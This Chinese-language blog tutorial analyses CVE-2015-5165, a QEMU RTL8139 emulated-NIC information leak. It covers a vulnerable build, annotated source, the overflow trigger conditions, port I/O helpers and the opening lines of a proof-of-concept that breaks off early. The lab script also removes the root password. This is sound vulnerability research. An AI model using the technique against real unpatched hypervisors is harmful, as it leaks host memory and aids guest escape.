Qemu相关
简介
QEMU是一种通用的开源计算机仿真器和虚拟器。
当用作机器仿真器(machine emulator,)时,QEMU可以在另一台机器(例如您自己的PC)上运行为一台机器(例如ARM板)制作的OS和程序。通过使用动态翻译,它可以获得非常好的性能。
当用作虚拟器(virtualizer)时,QEMU通过直接在主机CPU上执行来宾代码来达到近乎本机的性能。在Xen虚拟机管理程序下执行或在Linux中使用KVM内核模块时,QEMU支持虚拟化。使用KVM时,QEMU可以虚拟化x86,服务器和嵌入式PowerPC,64位POWER,S390、32位和64位ARM以及MIPS guest虚拟机。
关于emulator和virtualizer的区别可以看这篇博客(http://jpc.sourceforge.net/oldsite/Emulation.html),简单来说emulator是使用软件仿真完整的硬件,可以模拟各种CPU架构或者多个系统,而virtualizer一般不模拟硬件,而是将模拟计算机的部分经过虚拟化,大多数程序依然直接运行在硬件上。(关于虚拟化最典型的例子比如页表?)
可在此处下载QEMU=>www.qemu.org/download/(https://www.qemu.org/download/)
CVE-2015-5165
Cve-2015-5165是一个信息泄露漏洞,能够让攻击者获取到qemu程序的基地址以及qemu为虚拟机分配的内存地址。
漏洞问题是出在Qemu模拟的 RTL8139 网卡(qemu/hw/net/rtl8139.c),漏洞原因是在C+模式下对数据包解析的时候没有对数据包长度进行检测,导致了溢出。
环境搭建
在qemu的git平台找到CVE-2015-5165漏洞修复的commit(https://git.qemu.org/?p=qemu.git;a=commit;h=2a3612ccc1fa9cea77bd193afbfe21c77e7e91ef)
安装一些依赖
sudo apt -f install
sudo apt install libglib2.0-dev libpixman-1-dev libsdl2-dev libsdl1.2-dev
编译qemu,记得加参数–enable-debug,可以gdb源码调试。
git clone git://git.qemu-project.org/qemu.git && cd qemu
git checkout bd80b5963f58c601f31d3186b89887bf8e182fb5
mkdir -p bin/debug/naive && cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make
编译好的程序在**/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64**,检查一下qemu版本。
$ ./qemu-system-x86_64 --version
(process:71137): GLib-WARNING **: 20:08:54.081: ../../../../glib/gmem.c:489: custom memory allocation vtable not supported
QEMU emulator version 2.3.93, Copyright (c) 2003-2008 Fabrice Bellard
编译出*/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor’:*问题
只需要在commands-posix.c文件中加上头文件<sys/sysmacros.h>重新编译即可
gdb基础操作命令
通过gdb对qemu进行源代码调试
完整名称 | 短称 | 功能介绍 | 使用示例 |
---|---|---|---|
continue | c | 继续执行 | c |
list | l | 查看 c 源码 | l vga_mem_write |
help | h | 帮助说明 | h list |
break | b | 下断点 | b vga.c:45 |
next | n | 步过 | n5 |
step | s | 步入 | s |
p | 输出 | print /x var | |
x | x | 输出 | x/2wx pmem |
backtrace | bt | 堆栈回溯 | bt |
finish | fin | 执行到函数返回 | finish |
制作系统镜像
制作一个镜像
qemu-img create -f qcow2 ubuntu.img 20G
将ubuntu镜像拷贝到空镜像中,如果运行qemu提示通过vnc连接,应该是系统缺少SDL库(configure时显示SDL support no),装一个就行了,否则可以装一个Remmina在本地进行VNC连接。之后只需要一步步执行安装过程即可。 或者可以直接去镜像网站下载一个qcow2(https://people.debian.org/~aurel32/qemu/)(账号和密码都是root)的镜像(但不推荐这个镜像,内核版本太老有很多问题)。
./x86_64-softmmu/qemu-system-x86_64 -m 1G -hda ubuntu.img -cdrom ../../../ubuntu-14.04.6-desktop-i386.iso -enable-kvm
或者自己做一个rootfs.img的镜像
#!/bin/sh
sudo apt-get install debootstrap
mkdir rootfs
sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs
set -eux
# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys
# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs
编译内核
sudo apt install libelf-dev
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz && cd linux-5.2.11/
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4
使用launch.sh脚本起启动,ssh只需要连接10021端口
$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
#/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ./linux-5.2.11/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./rootfs.img \
-enable-kvm -m 2G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-net user,hostfwd=tcp::10021-:22 -net nic
make defconfig时候出现/bin/sh: 1: flex: not found
相关问题只需要安装一下flex(一个快速的词法分析生成器)
运行系统
使用下面的命令来运行系统
qemu-system-x86_64 -hda ubuntu.img -nographic
或者qemu-system-x86_64 -hda debian_squeeze_i386_standard.qcow2 -nographic -netdev user,id=t0 -device rtl8139,netdev=t0,id=nic0
漏洞在RTL18139网卡上,所以启动时候把网卡也启动一下。
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic
虚拟机内部换一下源,方便安装一些工具。
具。
deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb http://mirrors.aliyun.com/debian-security buster/updates main
deb-src http://mirrors.aliyun.com/debian-security buster/updates main
deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
问题解决:
-
failed to load ldlinux.c32 : 换个版本,一开始我用ubuntu16.04总是有这个问题。
rtl8139网卡
本次漏洞的成因位于rtl8139的虚拟化实现(准确的来说是RTL-8139/8139C/8139C+),实现文件在*/hw/net/rtl8139.c*中。RTL8139State结构体内部大多为RTL8139的寄存器实现,可以参考官网的REALTEK文档(chrome-extension://ikhdkkncnoglghljlkmcimlnlhkeamad/pdf-viewer/web/viewer.html?file=http%3A%2F%2Frealtek.info%2Fpdf%2Frtl8139cp.pdf).
typedef struct RTL8139State {
/*< private >*/
PCIDevice parent_obj;
/*< public >*/
uint8_t phys[8]; /* mac address */
uint8_t mult[8]; /* multicast mask array */
uint32_t TxStatus[4]; /* TxStatus0 in C mode*/ /* also DTCCR[0] and DTCCR[1] in C+ mode */
uint32_t TxAddr[4]; /* TxAddr0 */
uint32_t RxBuf; /* Receive buffer */
uint32_t RxBufferSize;/* internal variable, receive ring buffer size in C mode */
uint32_t RxBufPtr;
uint32_t RxBufAddr;
uint16_t IntrStatus;
uint16_t IntrMask;
uint32_t TxConfig;
uint32_t RxConfig;
uint32_t RxMissed;
uint16_t CSCR;
uint8_t Cfg9346;
uint8_t Config0;
uint8_t Config1;
uint8_t Config3;
uint8_t Config4;
uint8_t Config5;
uint8_t clock_enabled;
uint8_t bChipCmdState;
uint16_t MultiIntr;
uint16_t BasicModeCtrl;
uint16_t BasicModeStatus;
uint16_t NWayAdvert;
uint16_t NWayLPAR;
uint16_t NWayExpansion;
uint16_t CpCmd;
uint8_t TxThresh;
NICState *nic;
NICConf conf;
/* C ring mode */
uint32_t currTxDesc;
/* C+ mode */
uint32_t cplus_enabled;
uint32_t currCPlusRxDesc;
uint32_t currCPlusTxDesc;
uint32_t RxRingAddrLO;
uint32_t RxRingAddrHI;
EEprom346 eeprom;//该EEprom后加一个9
uint32_t TCTR;
uint32_t TimerInt;
int64_t TCTR_base;
/* Tally counters */
RTL8139TallyCounters tally_counters;
/* Non-persistent data */
uint8_t *cplus_txbuffer;
int cplus_txbuffer_len;
int cplus_txbuffer_offset;
/* PCI interrupt timer */
QEMUTimer *timer;
MemoryRegion bar_io;
MemoryRegion bar_mem;
/* Support migration to/from old versions */
int rtl8139_mmio_io_addr_dummy;
} RTL8139State;
关于C+ Mode:
支持两种缓冲管理模式。第一种是C模式,是RTL8139系列产品默认使用的缓冲区管理算法。第二种是C +模式(仅通过软件设置为相对的C +模式寄存器和描述符),这是基于描述符(Tx desciptor)的增强设计,特别适用于服务器应用程序。 可以通过软件进行配置,以应用新的缓冲区管理算法,即基于描述符的增强型缓冲区管理体系结构,这是现代网络服务器卡的基本设计。
RTL8139 网卡在 C+ 模式下的寄存器结构:
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
各个部分对应功能和实现:
-
MAC0:存储mac地址
uint8_t phys[8];
(uint8_taka. char) -
MAR0: 组播掩码数组
uint8_t mult[8];
-
TxStatus0: 在C模式下是TxStatus0,在C+模式下为
DTCCR[0] and DTCCR[1]
-
TxAddr0:Tx descriptiors table相关的物理内存地址
uint32_t TxAddr[4];
-
0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
-
0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
-
-
RxBuf:接收数据的缓冲区
uint32_t RxBuf;
-
TxConfig:发送数据相关的配置参数
uint32_t TxConfig
-
RxConfig:接收数据相关的配置参数
uint32_t RxConfig
-
RxRingAddrLO:Rx descriptors table 物理内存地址低 32 位
-
RxRingAddrHI:Rx descriptors table 物理内存地址高 32 位
-
TxPoll:让网卡检查 Tx descriptors
Tx desciptor的结构和实现如下
取自REALTEK文档(chrome-extension://ikhdkkncnoglghljlkmcimlnlhkeamad/pdf-viewer/web/viewer.html?file=http%3A%2F%2Frealtek.info%2Fpdf%2Frtl8139cp.pdf).9.2.1 Transmit
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};
我们关注一下16~31bit的标志位实现,网卡中的路径走向是由desciptor结构中的标志位确定的,这部分在后面理解漏洞部分的触发有一些帮助。具体作用还是参考REALTEK文档(chrome-extension://ikhdkkncnoglghljlkmcimlnlhkeamad/pdf-viewer/web/viewer.html?file=http%3A%2F%2Frealtek.info%2Fpdf%2Frtl8139cp.pdf),具体我注释在代码中。
/*26~31bit位实现了desciptor的*/
/* w0 ownership flag */
#define CP_TX_OWN (1<<31) //标志为1时,desciptor由NIC(网络接口控制器)拥有。标志为0时,desciptor由主机拥有
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30) //标志为1时,说明这是desciptor环的最后一个
/* first segment of received packet flag */
#define CP_TX_FS (1<<29) //标志为1时,这是Tx数据包的第一个descriptor
/* last segment of received packet flag */
#define CP_TX_LS (1<<28) //标志为1时,这是Tx数据包的最后一个descriptor
/* large send packet flag */
#define CP_TX_LGSEN (1<<27) //命令位,驱动程序将该位置1,以请求NIC卸载 Large send请求。
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)
/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18) //命令位。驱动程序将该位置1,以请求NIC卸载IP校验和。
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17) //命令位。驱动程序将该位置1,以请求NIC卸载UDP校验和。
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16 //命令位。驱动程序将该位置1,以请求NIC卸载TCP校验和。
漏洞分析
根据修复漏洞时的diff文件(https://git.qemu.org/?p=qemu.git;a=commitdiff;h=2a3612ccc1fa9cea77bd193afbfe21c77e7e91ef;hp=bd80b5963f58c601f31d3186b89887bf8e182fb5),我们可以找到漏洞产生的函数rtl8139_cplus_transmit_one**
漏洞出现在rtl8139_cplus_transmit_one函数处对IP包头部和IP总长度计算时产生的溢出。
static int rtl8139_cplus_transmit_one(RTL8139State *s)
{
[...]
//txdw0 存储 Tx desciptor 0~31bit信息
//如果IP/UDP/TCP标志开启,或者big packet标志开启,则进入流程
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
DPRINTF("+++ C+ mode offloaded task checksum\n");
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0; // aka. unsigned short int 无符号short类型
uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;
//saved_buffer指向以太网帧,偏移为12的地方就是Length / Type
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip); // 获取header的长度
ip_protocol = ip->ip_p;
/*溢出:ip->ip_len - hlen*/
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}
[...]
}
漏洞成因:当ip_len(ip总长度)小于hlen(ip头长度,一般等于20),调用 be16_to_cpu(ip->ip_len) – hlen会返回一个小于0的数据,ip_data_len是无符号整型,所以会导致ip_data_len变成一个很大的数。
注:be16_to_cpu:将网络字节序转化为无符号短整形,与htons函数功能正好相反。
接下来继续追踪ip_data_len。接下来是要发送网络帧的代码,ip_data_len赋值给了tcp_data_len,如果tcp_data_len过长(大于 1500-ip头-tcp头),对tcp_data_len进行切片并且调用rtl8139_transfer_frame进行发送。这样的结果就是会读取超长的一段数据发送出去。
。
if (ip)
{
if (txdw0 & CP_TX_IPCS)
{
DPRINTF("+++ C+ mode need IP checksum\n");
if (hlen<sizeof(ip_header) || hlen>eth_payload_len) {/* min header length */
/* bad packet header len */
/* or packet too short */
}
else
{
ip->ip_sum = 0;
ip->ip_sum = ip_checksum(ip, hlen);
DPRINTF("+++ C+ mode IP header len=%d checksum=%04x\n",
hlen, ip->ip_sum);
}
}
if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
{
int large_send_mss = (txdw0 >> 16) & CP_TC_LGSEN_MSS_MASK;
DPRINTF("+++ C+ mode offloaded task TSO MTU=%d IP data %d "
"frame data %d specified MSS=%d\n", ETH_MTU,
ip_data_len, saved_size - ETH_HLEN, large_send_mss);
int tcp_send_offset = 0;
int send_count = 0;
/* maximum IP header length is 60 bytes */
uint8_t saved_ip_header[60];
/* save IP header template; data area is used in tcp checksum calculation */
memcpy(saved_ip_header, eth_payload_data, hlen);
/* a placeholder for checksum calculation routine in tcp case */
uint8_t *data_to_checksum = eth_payload_data + hlen - 12;
// size_t data_to_checksum_len = eth_payload_len - hlen + 12;
/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);
int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);
/*ip_data_len赋值给了tcp_data_len*/
/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
DPRINTF("+++ C+ mode TSO IP data len %d TCP hlen %d TCP "
"data len %d TCP chunk size %d\n", ip_data_len,
tcp_hlen, tcp_data_len, tcp_chunk_size);
/* note the cycle below overwrites IP header data,
but restores it from saved_ip_header before sending packet */
int is_last_frame = 0;
/*如果tcp_data_len过长,对tcp_data_len进行切片*/
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
be32_to_cpu(p_tcp_hdr->th_seq));
/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);
DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
"packet with %d bytes data\n", tcp_hlen +
chunk_size);
if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}
/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}
/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);
p_tcp_hdr->th_sum = 0;
int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
DPRINTF("+++ C+ mode TSO TCP checksum %04x\n",
tcp_checksum);
p_tcp_hdr->th_sum = tcp_checksum;
/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);
/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);
/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));
ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);
DPRINTF("+++ C+ mode TSO IP header len=%d "
"checksum=%04x\n", hlen, ip->ip_sum);
int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
DPRINTF("+++ C+ mode TSO transferring packet size "
"%d\n", tso_send_size);
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}
/* Stop sending this frame */
saved_size = 0;
}
设置回环网卡(TxLoopBack),这样网卡会接收自己发送的数据,就能够实现泄露信息读取。
具体实现让我们继续看rtl8139_transfer_frame,当TxConfig标志位被设置为TxLoopBack,会调用rtl8139_do_receive将刚才网卡发送的数据接收回来,保存在缓冲区中。
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
[...]
if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
size_t buf2_size;
uint8_t *buf2;
if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}
DPRINTF("+++ transmit loopback mode\n");
/*将刚才网卡发送的数据接收回来,保存在buf中*/
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
if (iov) {
g_free(buf2);
}
}
else
{
if (iov) {
qemu_sendv_packet(qemu_get_queue(s->nic), iov, 3);
} else {
qemu_send_packet(qemu_get_queue(s->nic), buf, size);
}
}
}
漏洞触发
我们需要找到如何触发函数rtl8139_cplus_transmit_one调用。
首先看一下rtl8139的realize(实现)函数,使用MemoryRegion初始化了PMIO和MMIO。(memory_region_init_io函数具体相关可以去看qemu内存模型相关博客(https://abelsu7.top/2019/07/07/kvm-memory-virtualization/))
在计算机中,内存映射I/O(MMIO)和端口映射I/O(PMIO)是两种互为补充的I/O方法,在CPU和外部设备之间。另一种方法是使用专用的I/O处理器,通常为大型机上的通道,它们执行自己特有的指令。
在MMIO中,IO设备和内存共享同一个地址总线,因此它们的地址空间是相同的; 而在PMIO中,IO设备和内存的地址空间是隔离的。
在MMIO中,无论是访问内存还是访问IO设备,都使用相同的指令; 而在PMIO中,CPU使用特殊的指令访问IO设备,在Intel微处理器中,使用的指令是IN和OUT。
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
[...]
memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100); //初始化PMIO
memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
"rtl8139", 0x100); //初始化MMIO
[...]
}
分析一下PMIO部分(MMIO基本类似,不需要重复分析),MMIO和PMIO的写操作都会调用rtl8139_io_writeb这个函数,这个函数当val 包含 (1 << 6)时就会进入分支,调用包含漏洞的函数rtl8139_cplus_transmit。
// 初始化结构体
static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};
=======================================================
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val); //分支1
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}
========================================================
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
RTL8139State *s = opaque;
switch (addr)
{
[...]
case TxThresh:
DPRINTF("C+ TxThresh write(b) val=0x%02x\n", val);
s->TxThresh = val;
break;
case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6)) //触发函数
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}
break;
[...]
}
}
再深挖一下PMIO是如何初始化和被触发的,看memory.c中初始化函数memory_region_init_io是如何实现的。可以参考这篇博客在qemu中增加pci设备并用linux驱动验证(https://blog.csdn.net/XscKernel/article/details/8298195)。
void memory_region_init_io(MemoryRegion *mr,
Object *owner,
const MemoryRegionOps *ops,
void *opaque,
const char *name,
uint64_t size)
{
memory_region_init(mr, owner, name, size);
mr->ops = ops;
mr->opaque = opaque;
mr->terminates = true;
}
======================================================
void memory_region_init(MemoryRegion *mr,
Object *owner,
const char *name,
uint64_t size)
{
if (!owner) {
owner = container_get(qdev_get_machine(), "/unattached");
}
object_initialize(mr, sizeof(*mr), TYPE_MEMORY_REGION);
mr->size = int128_make64(size);
if (size == UINT64_MAX) {
mr->size = int128_2_64();
}
mr->name = g_strdup(name);
if (name) {
char *escaped_name = memory_region_escape_name(name);
char *name_array = g_strdup_printf("%s[*]", escaped_name);
object_property_add_child(owner, name_array, OBJECT(mr), &error_abort);
object_unref(OBJECT(mr));
g_free(name_array);
g_free(escaped_name);
}
}
=========================================================
void object_initialize(void *data, size_t size, const char *typename)
{
TypeImpl *type = type_get_by_name(typename);
object_initialize_with_type(data, size, type);
}
小结
函数调用栈以及进入分支的条件
rtl8139_ioport_write
--> rtl8139_io_writeb ()
--> rtl8139_cplus_transmit (需要设置TxPoll寄存器中包含值 1 << 6)
--> rtl8139_cplus_transmit_one (满足txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
--> 发生溢出并且发送网络帧 (满足ip->ip_len < 20)以及(满足(txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
-->读取信息泄露 (TxConfig标志位被设置为TxLoopBack)
漏洞分析完毕,然后就可以开始写poc了,不过在写之前,先了解一些网卡相关的开发基础。
一些相关的开发基础
操作网卡相关:
-
cat /proc/ioports查看端口
-
lshw -short 查看设备信息
root@debian-i386:~# lshw -short
H/W path Device Class Description
====================================================
/0/0 processor QEMU Virtual CPU version 2.3.93
[...]
/0/100/3 eth0 network RTL-8139/8139C/8139C+
-
Lshw -C network 查看网卡信息,网卡版本为RTL-8139/8139C/8139C+,IO端口地址0xc000~0xc0ff.
root@debian-i386:~# lshw -C network
*-network
description: Ethernet interface
product: RTL-8139/8139C/8139C+
vendor: Realtek Semiconductor Co., Ltd.
physical id: 3
bus info: pci@0000:00:03.0
logical name: eth0
version: 20
serial: 52:54:00:12:34:56
size: 100Mbit/s
capacity: 100Mbit/s
width: 32 bits
clock: 33MHz
capabilities: bus_master rom ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation
configuration: autonegotiation=on broadcast=yes driver=8139cp driverversion=1.3 duplex=full ip=10.0.2.15 latency=0 link=yes multicast=yes port=MII speed=100Mbit/s
resources: irq:11 ioport:c000(size=256) memory:febd1000-febd10ff memory:feb80000-febbffff(prefetchable)
-
lspci -v 同样可以查看IO地址,可以看到PMIO的端口在0xc000
# lspci -v
00:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 20)
Subsystem: Red Hat, Inc Device 1100
Flags: bus master, fast devsel, latency 0, IRQ 11
I/O ports at c000 [size=256]
Memory at febd1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: 8139cp
-
io写端口操作函数
#include <asm/io.h>
void outb ( unsigned char data , unsigned short port);
void outw ( unsigned short data , unsigned short port);
void outl ( unsigned long data , unsigned short port);
-
数
-
outb() I/O 上写入 8 位数据 ( 1 字节 )
-
outw() I/O 上写入 16 位数据 ( 2 字节 )
-
outl () I/O 上写入 32 位数据 ( 4 字节)
-
一般使用out*函数向端口写数据,一般格式是 data和port+偏移值。于是,通过PMIO端口向网卡写数据可以通过下面三个函数实现。
/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;
void pmio_writeb(uint32_t data,uint32_t addr){
outb(data,pmio_port+addr);
}
void pmio_writew(uint32_t data,uint32_t addr){
outw(data,pmio_port+addr);
}
void pmio_writel(uint32_t data,uint32_t addr){
outl(data,pmio_port+addr);
}
-
io读端口操作函数
byte inb(word port);
word inw(word port);
longword inw(word port);
-
inb() I/O上读取8位数据
-
inw() I/O上读取16位数据
-
inl() I/O上读取32位数据
-
读函数的实现
uint32_t pmio_readb(uint32_t addr){
return (uint32_t)inb(addr);
}
uint32_t pmio_readw(uint32_t addr){
return (uint32_t)inw(addr);
}
uint32_t pmio_readl(uint32_t addr){
return (uint32_t)inl(addr);
}
POC
静态编译为32位的程序(gcc -m32 -static poc.c -o poc -std=c99),然后通过scp拷贝到虚拟机中。
sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib
-
FATAL: kernel too old ,内核版本太低,两种方案,一种是更新一下虚拟机的内核,第二种是降低编译阶段的内核版本,参考链接(https://github.com/chiwent/blog/issues/1)。(第三种,也可以直接在虚拟机下装一下编译工具链,本地编译)
接下来编写poc,相关功能都注释在代码中。
poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define RTL8139_BUFFER_SIZE 1514
/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;
/*常量直接从rtl8139.c中拷贝*/
enum RTL8139_registers {
MAC0 = 0, /* Ethernet hardware address. */
MAR0 = 8, /* Multicast filter. */
TxStatus0 = 0x10,/* Transmit status . C mode only */
/* Dump Tally Conter control register(64bit). C+ mode only */
TxAddr0 = 0x20, /* Tx descriptors . */
RxBuf = 0x30,
ChipCmd = 0x37,
RxBufPtr = 0x38,
RxBufAddr = 0x3A,
IntrMask = 0x3C,
IntrStatus = 0x3E,
TxConfig = 0x40,
RxConfig = 0x44,
Timer = 0x48, /* A general-purpose counter. */
